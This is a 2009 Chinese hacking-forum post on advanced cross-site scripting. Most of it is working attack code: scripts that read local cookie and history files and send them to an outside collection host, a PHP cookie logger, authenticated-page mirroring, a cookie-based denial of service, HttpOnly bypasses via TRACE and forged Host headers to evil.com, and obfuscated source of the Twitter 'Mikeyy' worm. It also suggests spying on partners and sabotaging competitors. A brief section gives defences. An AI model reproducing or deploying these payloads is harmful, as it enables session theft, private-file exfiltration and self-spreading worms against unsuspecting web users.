XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
4 l8 W, @7 l# V7 x本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html: E) _2 n. a' ?& L# U" g
转帖请保留版权' ]; y0 }% W# R! \/ {
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7 ?. y( t; P1 T5 P3 i. ~7 k-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.# k+ U) `* [- |* e4 o6 @( k. h q8 H
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5 \" z6 x9 u1 N' b如果你还未具备基础XSS知识,以下几个文章建议拜读:2 D& v0 h. C( [5 U
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
# Z$ T/ X3 f: x6 r L9 O# chttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全! `6 w) ?2 D/ X; P/ p/ r
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
7 L" J2 d, m+ mhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF& }) @& z$ O- z( T* M7 I5 ?
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
# ?; I/ b* k; a' m+ L0 b0 ~5 g; lhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持" o2 k0 `" l7 |$ Z; t) ]
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4 B7 A1 d) e3 q: W) b" S7 z! ?如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.4 D1 t9 W+ G1 B4 [* F5 F
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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2 n/ U7 Z( q: ]' u/ F如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,- r& Z% u0 p& L+ B0 L I9 w* P
2 n" s2 N) K5 v- O. rBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大9 }# _) d* V# V1 g
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QQ ZONE,校内网XSS 感染过万QQ ZONE.- ^0 Q5 x( Z* d# w: \
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪9 f3 F4 v- e; C5 d; z" s
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5 s, G7 ^- j$ Z: l8 v/ h复制代码------------------------------------------介绍-------------------------------------------------------------& b& o7 J: c2 u
" d8 U* X4 h# v& R) B' q1 g1 F什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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# k3 M# t) c2 k9 [跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.4 S! z6 r; H8 O2 D
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2 M( g W( ?/ B如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
$ v+ ^" Z! k1 |" P2 `2 A' j+ Z复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
S. S+ ^$ W$ W* j7 m7 ~我们在这里重点探讨以下几个问题:2 k [8 D" L& X% c( ~
% |1 s1 r) m# }+ c. @1 通过XSS,我们能实现什么?& k: \1 h$ \6 [) t6 K/ S$ ^
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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2 j1 K- L, L$ |9 |. p% a7 f5 X2 r4 XSS漏洞在输出和输入两个方面怎么才能避免.! j3 g8 h( J/ q9 E: K* n, H. p) ]
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) C; ?, u4 u+ E" y* I9 N------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.* o1 @. F0 }9 N. \0 v
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
) s" {$ E/ I2 b( e复制代码XSS漏洞在输出和输入两个方面怎么才能避免., {( V+ Y1 e7 l$ J. f
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
, F6 O3 [- ?& `4 K8 c2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.# g. C; B [9 b% x0 K
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.# z- K0 c& @% H
4:Http-only可以采用作为COOKIES保护方式之一.7 S+ [/ _% J& `! E( L! q# U
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6 C# U$ z8 ] Y(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者). I: c4 D8 h1 |* J, {" Q
2 u" Q2 p0 a& O5 h! R0 s' p我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)% v+ w6 [) [! O( `! D2 N
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8 \$ [8 X. M7 D2 j+ D1 t 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。& `. v/ H: b# p0 O% m* j
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。$ G: p( [7 j8 j2 R3 W% l# }2 w
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.! [% P) E" z# z" T: ^
复制代码IE6使用ajax读取本地文件 <script>
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+ A$ x* a7 ^& E' b5 }5 Y+ _! m9 R function ajax_obj(){
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',% n# D; }1 N1 D! g
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];8 w+ \, Y$ p, w% H& h0 B* ?3 S
! c+ j/ E/ s2 P0 o" Y7 }6 r for(var i=0; i<versions.length; i++) {
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try {
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request = new ActiveXObject(versions);
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} catch(e) {}
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, I h1 }2 E7 u! t' @/ H) c" F- @$ w var _x = ajax_obj();4 K, C9 Y0 l/ P+ k6 V5 l2 c' k2 @# C
4 H6 q5 }3 y; B6 _4 {
function _7or3(_m,action,argv){
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% H/ K' K4 f; g" H6 q _x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);+ X5 ~- f' w- d& W' j6 \
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return _x.responseText;: A5 X6 w% M) p) u7 r
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}
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# S! d5 @5 q" @% s var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>; j. x a" V$ Z, F! [! a2 x; e: I( T
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function $(x){return document.getElementById(x)}
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( q4 |5 s, y! f# |0 Q& O* S if(window.XMLHttpRequest) {& R, W f) i- D7 Y3 J0 y" C( _5 H" j
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request = new XMLHttpRequest();7 [1 _! o2 x4 c' i t5 G
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];( l8 o# C2 {8 g- Q: ]6 \& m9 i
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for(var i=0; i<versions.length; i++) {
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try {+ X3 j' X. \ S& u
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} catch(e) {}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);
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4 e* E1 }2 n5 i$ j0 v0 O if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");. N4 h* m) n! Q2 `' E" v/ p
% R8 X5 j8 c& N: B* `1 U7 l _x.send(argv);
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return _x.responseText;9 z+ E3 R% B" f" ^: q5 c5 P! u
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}
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var txt=_7or3("GET","1/11.txt",null);6 v- o5 x7 V* ~: U& w3 G4 J/ e
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alert(txt);; x: C7 A$ Z/ h: l
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”- X6 p8 j |1 n0 C
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1 w: X% }+ g) l2 f3 CChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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Chrome 1.0.154.53 use ajax read local txt file and upload exp 4 s+ q& |- W* @5 s% f; ?
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author voidloafer@gmail.com 2009-4-22 . q$ p7 |" i5 J0 {$ V: v2 b
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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, ?% J E: k: y9 e0 sheader("Content-Disposition: attachment;filename=kxlzx.htm");
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$ ?$ _) x* s5 o& Z5 pheader("Content-type: application/kxlzx");
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/*
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: P. ^- p3 M" B7 D4 d+ t7 @ set header, so just download html file,and open it at local.
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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' I& i7 f. k& z* v% k1 I <input id="input" name="cookie" value="" type="hidden">
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</form> 7 r' K. @" Z, f5 l; V5 w
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<script>
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+ R( h/ M6 O. E- _5 v" {function doMyAjax(user)
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{ " A% s4 b4 I8 D# B8 i5 }; _
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var time = Math.random();
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/*
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+ o8 T+ V! |4 f0 C# s( o; [: rthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 3 ` t6 f; j/ C5 S( }7 T
2 h# C- ]2 l. K1 wand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History ! o, |' }% H+ H- J% x" s, J4 r8 g
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and so on...
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 4 Z3 _# V0 Q+ X5 W6 c9 x* L! m, ~
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startRequest(strPer); ' c! t) t# X2 \8 {4 l
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}
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function Enshellcode(txt)
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{
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/ @" w! N# |( h8 U: P8 W% K! I( {4 bvar url=new String(txt); 4 r! [5 G3 v( R
$ S6 s+ ~* B! Avar i=0,l=0,k=0,curl="";
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2 Z1 v% U: `( M$ ~- M. N( n9 Xl= url.length;
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+ T8 I$ \, K7 W" [8 }for(;i<l;i++){
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$ ?. Q, S8 ]. G* h, }% n. Tk=url.charCodeAt(i); 5 A& @, b7 r0 e: Z6 U9 U A
) z9 G4 f( R; g5 q* y% qif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} , h ^% F) ]$ J+ R" ]9 z
5 |- @; G( |! y. z# d9 T. iif (l%2){curl+="00";}else{curl+="0000";} * W* C; M5 J% p0 g
5 O* d" Y6 ] l% j lcurl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl;
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}
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var xmlHttp; . K% d: C" t8 r4 j
9 B, Q# `* l! i9 O& S9 Ufunction createXMLHttp(){
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if(window.XMLHttpRequest){ / L1 ]- ]% ^7 v2 }: B
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xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){ - f, P( m+ r% O7 V
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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% L) {) U6 F# v; w9 D5 ~8 qfunction startRequest(doUrl){
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2 j7 `6 A1 L) | createXMLHttp();
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: D+ ~. A8 S0 h+ } xmlHttp.onreadystatechange = handleStateChange; 1 Y/ S$ A$ F* a& B8 E! s, O
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xmlHttp.open("GET", doUrl, true); " g: k( s% t3 ^- x6 L5 `
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xmlHttp.send(null); ! ~* t. b1 P% M
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}
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6 ?; `5 W0 A+ a6 d5 P* Bfunction handleStateChange(){ 8 o% a# }2 u% v& `. V6 J& s
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if (xmlHttp.readyState == 4 ){
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/ y6 t5 s, R7 ~8 [* M' i var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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function framekxlzxPost(text)
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document.getElementById("input").value = Enshellcode(text); 3 U! {2 e6 H/ }
- X6 t2 ?. F1 o document.getElementById("form").submit();
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doMyAjax("administrator");
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5 W% R" o( F- c2 c: C& ^</script>0 [( w* k5 f" r4 z/ G
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
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* f! n' T ~" V( @( w. S" Nfunction createXMLHttp(){ 1 G, }" n4 @1 j( D( i) {5 N) _" L
. O9 \8 [: V/ {5 J7 o* A if(window.XMLHttpRequest){
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* N0 l1 |7 J! t& d; { xmlHttp = new XMLHttpRequest(); + a" C0 F# h/ d* T( X8 X
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}
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else if(window.ActiveXObject){ ; Z+ ~1 c$ i" w- F; g: ?9 X
: W1 w& w) ?- p# l xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 5 S. S* D0 |% h! K* N' \" |$ [
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function startRequest(doUrl){
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createXMLHttp(); * B: n. c7 k4 A+ O/ b4 Y
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0 U& x4 |) V9 Y. r% S' g xmlHttp.onreadystatechange = handleStateChange; $ ?; C# ^& }0 T& s) c
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. l* w% q2 S3 ^% m xmlHttp.open("GET", doUrl, true); 5 i/ }. c9 h3 F( f; Z9 o7 J
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" Q& r" { {: F( o xmlHttp.send(null);
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function handleStateChange(){
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5 I% @7 F! E! d9 L if (xmlHttp.readyState == 4 ){ 7 X' g" d! E! C" b: r: ?% U/ C
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var strResponse = ""; 9 j$ N6 U; s$ g, }8 }% `1 E+ M
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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}
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+ W( v, d' Q$ X( ~function doMyAjax(user,file)
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- [. Z0 g$ X4 V; P+ E5 p3 W& V5 u var time = Math.random(); * U. g6 Z; ^7 L# n; Z
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6 `+ M j, h3 X" x! Y- O var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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- p. w" w' L, ` \0 u$ ]; ? startRequest(strPer); # N8 r7 P6 f: K! D) A, |1 ~. N \
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function framekxlzxPost(text)
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); # N- m; I, h% x' V3 M( E
" T$ c9 A& t7 o. j' ^- x" r* P alert(/ok/); 6 ^9 c d; ] K
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- w& b0 ?- c2 ]7 jdoMyAjax('administrator','administrator@alibaba[1].txt');
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/ o# E0 w$ p( r</script>
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a.php
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<?php
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) f3 G$ S0 R; Q5 h! P( F( x- }$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
4 W; a _5 C9 c" M5 e9 q- n! ]9 P/ c( s+ s% k* A1 ^9 \1 {( R. {
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; : D: v; s2 P7 b5 i9 A6 |; U% w
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1 J# s0 G: Q1 N/ h$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]);
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" g, r; c- E9 _0 ~fclose($fp); % i6 V8 M V/ ~7 m' M: Z0 v3 ^) L
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7 v2 e/ g B# H% j& G复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.5 W( ^2 u* {; K
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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7 l" G# z: m. M' @代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);1 c9 t% j" x& P
$ g# Y U' h6 d* e//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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+ s1 d W- Y- u. [* }1 ^//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);' Z3 T' g5 B: ?8 w0 `! W0 ^; ? `
, P8 D6 E- P" `function getURL(s) {
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var image = new Image();* [- d" J, q& G9 Q% L
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image.style.width = 0;& _( P+ f/ o2 J7 `- _
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image.style.height = 0;: x& l" `- m" }/ g3 ~2 Y
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image.src = s;
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" e" M O$ K }9 \getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
2 o1 k: p. ]" D0 B% @! h( |# g! x6 h复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
; k1 _9 [# S! n9 _/ J3 N+ {% i这里引用大风的一段简单代码:<script language="javascript">& p6 G5 n' V" Z# u$ X
5 I) ^9 B# W7 Evar metastr = "AAAAAAAAAA"; // 10 A* ^1 J8 \, T' E4 b3 |
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var str = "";! J" C- _( z7 X0 _' `
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while (str.length < 4000){% s8 g% F1 ^' U* R! C+ ]2 x
' h9 s& Z3 y# J! d2 C+ y8 U str += metastr; M$ R c+ K, p3 V
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}
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$ ?+ Y) N, r/ L8 t3 E+ F4 J/ h& T$ pdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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/ X+ V5 u3 T6 C( k, \% ?详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html- y3 q" c# q) w- X
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
0 q; f; P7 b5 J* y/ m* ?/ Tserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1500 C6 C1 w) U1 P. X# t
M5 b8 \- m. {- b i5 @2 P/ J$ U假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
+ t n5 ]% z7 a& }* Y6 q2 i攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.* q. w& q- X1 L; m, ]0 d
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(III) Http only bypass 与 补救对策:
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p$ Q4 M9 T7 U* T) s2 ^4 Y3 w什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
$ J& s( j( T4 D* M: b5 v以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--% u% N) m6 T* b1 x
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function normalCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);1 R. R: x2 w) z! } i( `: x
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$ q. l% [5 ]- sfunction httpOnlyCookie() {
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3 f5 ^- n5 }' m( n8 {document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; + s$ d) }, Q$ |6 {# ~) E
T q$ g/ I9 x, X" Talert(document.cookie);}! e2 x6 Q- r4 o/ B" \9 K- f
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6 h$ g1 d! r& ?. v. m* h8 V" T- d3 w//-->
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</script>
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
) D; Q3 U8 D* B& _ V( Q* |4 V: d% M9 n复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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var request = false;/ z% J5 Q" i8 M0 |3 A
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();3 j X! P2 M5 e0 B
" _' W; O. |+ i if(request.overrideMimeType) {* L$ e3 q! Q3 }
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request.overrideMimeType('text/xml');
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} else if(window.ActiveXObject) {
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! K4 Z; `3 H8 s/ E var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ ~- J# q5 b6 T- S& j; h! j! M8 _1 E9 ?( @- l& Q( x: y
for(var i=0; i<versions.length; i++) {3 ~3 k8 I( I% M. |7 Z; C
- W; F$ m5 U- c, V try {
$ H( ]" E: s8 C" t* G( {1 v# B. Z$ N/ C& O- z: O5 k' r, B: `
request = new ActiveXObject(versions);4 V \! e5 L6 G$ B! _4 |
b; s. T# m" u& E } catch(e) {}/ p1 v1 k4 I8 _4 e8 s5 E0 Y" x
3 b3 b+ N# B, V
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4 i# [; a7 S' d4 [# X
}& b7 Y, g! u9 L+ q
- P, G, q1 I* ]! l: N8 nxmlHttp=request;) n7 }$ J# @& g- X, t3 a! F- d
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xmlHttp.open("TRACE","http://www.vul.com",false);
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xmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;0 z# x. z8 _ Y" I# c
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alert(xmlDoc);. b$ W( T* o0 D/ l! q2 v2 b# \
4 @; b5 V+ e3 \1 J+ K# Z</script>
4 z8 Z. M. P$ S/ h$ k复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>/ y4 H6 F% T0 }6 i* l$ s
! ?/ @7 \' j4 ]
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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7 E6 m; `( A% m' Q* ?) bXmlHttp.open("GET","http://www.google.com",false);
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9 @9 [# _2 m4 \ V! {, EXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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$ [" G: r4 u4 y( Svar resource=xmlHttp.responseText
+ J. y/ H7 E. n7 a0 E4 X v/ r" J4 F; q' W* @1 R2 p
resource.search(/cookies/);
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......................
V& ?5 w' F) c' s( w; [4 e$ S6 j, ]" F# z
</script>
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3 q$ M' U6 S! Y& g( X如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求( I# @# g! |. l& A/ f: X$ |
& E/ E l4 K _+ d3 K0 i. w8 D D[code]% J) h* b' ]4 @% @" @1 [0 G
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RewriteEngine On
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5 A8 k, D* b3 J( \8 oRewriteCond %{REQUEST_METHOD} ^TRACE
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, h+ I* H' d0 U( w, T, }RewriteRule .* - [F]
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, ]9 G* v3 m* I
% l- z3 x+ ?3 B6 y, ]+ \" Z
% K. D6 i2 O8 j; vSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
, U% a& ], P2 `) C2 L. n4 B! g, Z+ M
acl TRACE method TRACE
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: ~$ {, `2 `; i5 }" ?: ]...
5 g( e" k* i! x1 K8 t, }
3 J$ i1 ~+ ]0 B- ~http_access deny TRACE! ~* L" o1 J2 T v# p7 E
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# |9 Z1 q) H1 Y8 h! ~$ J: b4 }! e$ L- B" A
XmlHttp.open("GET","http://www.google.com",false);
& B c' t5 K( s5 m# ?: z5 R1 M+ f7 `, @/ z
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);% N& w6 L7 J+ H S
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</script>
4 r [3 ^5 M% g3 m/ J复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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$ b/ M$ @# Y5 {* G6 @1 ?var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");' D. o- `# `9 a5 N
) H3 e; x9 ~" z1 _% q+ ?- W) k0 i! ^2 n% N2 S9 Y! {, Q, M$ w- L
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null); h5 v) o! o% O4 \/ x ~! m; ]
) l0 j4 e* X. ^2 m: D' I<script>
' Q9 L% e* {1 U5 L5 C复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么., ^2 F( z7 G9 d, ?6 N7 [
复制代码案例:Twitter 蠕蟲五度發威8 D% K$ d. m0 j, k
第一版:2 u& a$ ~3 t J( f) `/ X0 g: Q
下载 (5.1 KB) C) f% U/ ~& V% b" K
# I+ \7 A2 a3 T5 P! B9 |7 _6 天前 08:27$ h4 Y4 u0 @. {% k1 A% B3 b
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; / v* T/ \7 O1 h
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( d3 [: M: @/ R2 z9 F 3. function XHConn(){ - s% T# b4 V1 E* T: `/ d" ^0 |
$ d0 G" G& |( _+ l
4. var _0x6687x2,_0x6687x3=false;
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( X( R# w! n% i; } 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } ! e1 r; ?. q! @0 ^! r$ Y
9 h. }3 y1 p x; y 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } $ c, L; l3 u% A! k0 e+ _& E
; h2 [9 r3 m8 [' a8 U 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
) I! n2 Z, h7 I
3 m0 A4 j/ s' T% N 8. catch(e) { _0x6687x2=false; }; }; };
) S( Q) T" b, C/ y! K3 L复制代码第六版: 1. function wait() {
* n! X' q$ `. v7 `
* A- V6 o/ m- ^, {5 Q& r) P/ w# W$ X 2. var content = document.documentElement.innerHTML; ' N/ T; T' m) {3 C+ r' }+ t! E6 G
/ J; F' o# Z: \
3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/); 2 g* B7 q4 R; ~1 d" {
; z# a9 K$ H" o' O 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
; o9 x+ }* i, X) _! ~8 ^7 ~! x" {
7 {9 O" j. _+ W 6. var authtoken=authreg.exec(content); & d5 P2 ?" \, I6 j) u$ _/ @: W9 q
6 [! Q( z" A! M9 m8 i6 N
7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); 0 s4 K1 Z6 b8 {. K& s
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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! g& j6 n% ]: P$ w* x9 k 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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5 j) K. q" O) B5 Q( ~) { 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; i5 ?- V) r& Z( \1 K: X1 M
